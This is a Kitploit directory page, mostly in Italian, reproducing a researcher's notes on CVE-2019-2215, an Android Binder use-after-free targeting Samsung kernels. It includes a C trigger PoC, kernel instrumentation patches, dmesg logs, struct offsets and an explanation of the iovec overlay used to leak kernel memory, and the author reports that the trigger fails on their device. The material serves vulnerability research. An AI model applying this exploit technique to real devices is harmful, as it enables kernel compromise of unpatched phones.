Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-2215 — PoC e analisi di CVE-2019-2215, un use-after-free in Android Binder, con strumentazione del kernel e ottimizzazione dell'exploit per i dispositivi Samsung interessati. | Kitploit
Strumenti/GitHubGitHub/atorninja/cve-2019-2215
Sicurezza AndroidMemory ForensicsAnalisi delle VulnerabilitàExploitBinary Exploitation
GitHubatorninja/cve-2019-2215

CVE-2019-2215

PoC e analisi di CVE-2019-2215, un use-after-free in Android Binder, con strumentazione del kernel e ottimizzazione dell'exploit per i dispositivi Samsung interessati.

Vedi Repository
31326 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-2215

Fonte:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885

Samsung S7 e S7 Edge con Kernel 3.18.x non sembrano vulnerabili (potrebbero esserlo comunque, con più lavoro e aggiustamenti al PoC). Non ho potuto vedere altro, poiché non ho dispositivi rooted.

Samsung S3Neo+ con LineageOS Kernel 3.4.0 possibilmente vulnerabile (ancora in corso)

root@kitploit:~

Kernel 3.4.0

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/

No KASLR

No need to leak Kernel Struct Addresses.

8-byte aligned (because there is one less field in the struct)

binder_thread size:0xfc (252) 

wait queue offset:0x2c (44)


Had to add at least 2 entries for it to trigger, with 1, it didn't trigger

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533

PoC:


#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>


#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul

int main()
{
    int fd,fd1,fd2, epfd,epfd1;
    struct epoll_event event = { .events = EPOLLOUT   };

    fd = open("/dev/binder", O_RDONLY);
    fd1 = open("/dev/random", O_RDONLY);
    epfd = epoll_create(1000);
    epfd1 = epoll_create(1000);
  

    if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
    if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");




    //ioctl(fd, BINDER_VERSION, NULL);

    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    printf("Finished here.");
}


Modified binder.c and eventpoll.c nel Kernel per vedere cosa succede

binder.c

static int binder_free_thread(struct binder_proc *proc,
                              struct binder_thread *thread)
{
        struct binder_transaction *t;
        struct binder_transaction *send_reply = NULL;
        int active_transactions = 0;
        static const size_t memberOffset = offsetof(binder_thread, wait);
        wait_queue_head_t *wqhptr = &thread->wait;
        wait_queue_head_t *pwqhptr = &proc->wait;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
        printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
        printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
        list_for_each_safe(p1,n1,  &pwqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }
        list_for_each_safe(p1,n1,  &wqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }

eventpoll.c

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
        wait_queue_head_t *whead;
        wait_queue_t *strptr;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        rcu_read_lock();
        /* If it is cleared by POLLFREE, it should be rcu-safe */
        whead = rcu_dereference(pwq->whead);
        printk(KERN_INFO "whead before");

        if (whead)
        {
                strptr=&pwq->wait;


                list_for_each_safe(p1,n1,  &pwq->whead->task_list){
                my2 = list_entry(p1, wait_queue_t, task_list);

                printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
                }


                remove_wait_queue(whead, &pwq->wait);
                printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
                printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);

Vedo che la lista viene stampata.....ma durante l'avvio di Android, non con il mio PoC:

Durante l'avvio di Android

[   84.747753] binder_ioctl: 1878:2371 40046208 0
[   84.747765] iovec str size:8
[   84.747771] thread->task_list:e4fb2e30
[   84.747777] proc->task_list:e57d866c
[   84.747784] p list= e57d866c e7fffe7c
[   84.747790] p list= e656de7c e57d866c
[   84.747797] binder_free_thread size:252 worker_off:44
[   84.747804] freed thread:e4fb2e00

Vedo proc->task_list ... 

PoC:

[  642.254192] wq queue:e7ce8798
[  642.254201] epoll struct:e7ce8780
[  642.254214] wq queue:e7ce8f98
[  642.254220] epoll struct:e7ce8f80
[  642.254230] wq queue:e7ce8718
[  642.254236] epoll struct:e7ce8700
[  642.254266] binder_ioctl: 7392:7392 40046208 0
[  642.254274] iovec str size:8
[  642.254280] thread->task_list:e5389b30
[  642.254286] proc->task_list:c309d86c
[  642.254292] binder_free_thread size:252 worker_off:44
[  642.254299] freed thread:e5389b00
[  642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[  642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[  642.254799] ep_unregister_pollwait list not empty
[  642.254805] whead before
[  642.254811] my2= c0f50cc4 c0f50cc4
[  642.254817] remove wait queue:e734b994
[  642.254823] remove wait queue task list:e734b9a0
[  642.254830] ep_unregister_pollwait list not empty
[  642.254835] whead before
[  642.254841] my2= c0f50cd0 c0f50cd0
[  642.254847] remove wait queue:e734bb24
[  642.254852] remove wait queue task list:e734bb30
[  642.254863] ep_free
[  642.254873] ep_free
[  642.254881] ep_free

Tuttavia il bug non viene attivato nel mio PoC. Non riesco a vedere voci di lista doppie sotto thread e proc :/


Ecco dove dovrebbe entrare in gioco il bug use-after-free.

Codice:

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);

Quando viene chiamato, la struttura binder_thread viene liberata nel kernel.

Immediatamente dopo, il processo padre chiama:

Codice:

b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

Nel kernel, la memoria viene allocata per copiare iovec_array dallo spazio utente. Questo PoC dipende dal fatto che il puntatore da questa allocazione sia lo stesso della memoria binder_thread appena liberata.

Poi, quando il processo figlio termina, la pulizia di EPOLL utilizzerà la waitqueue nella struttura binder_thread, che è stata sovrascritta con i valori in iovec_array. Quando EPOLL rimuove la waitqueue, 0xDEADBEEF verrà sovrascritto da un puntatore nello spazio del kernel. Questo deve accadere appena prima che la chiamata writev nel processo padre inizi a copiare il secondo buffer, il che ci dà una perdita di memoria dello spazio del kernel.

Se writev restituisce 0x1000 significa che il tempismo è sbagliato, l'offset della wait queue è sbagliato, l'allocazione kmalloc nella funzione writev non è la stessa del binder_thread liberato, o il tuo kernel non è vulnerabile. 


Scarica lo strumento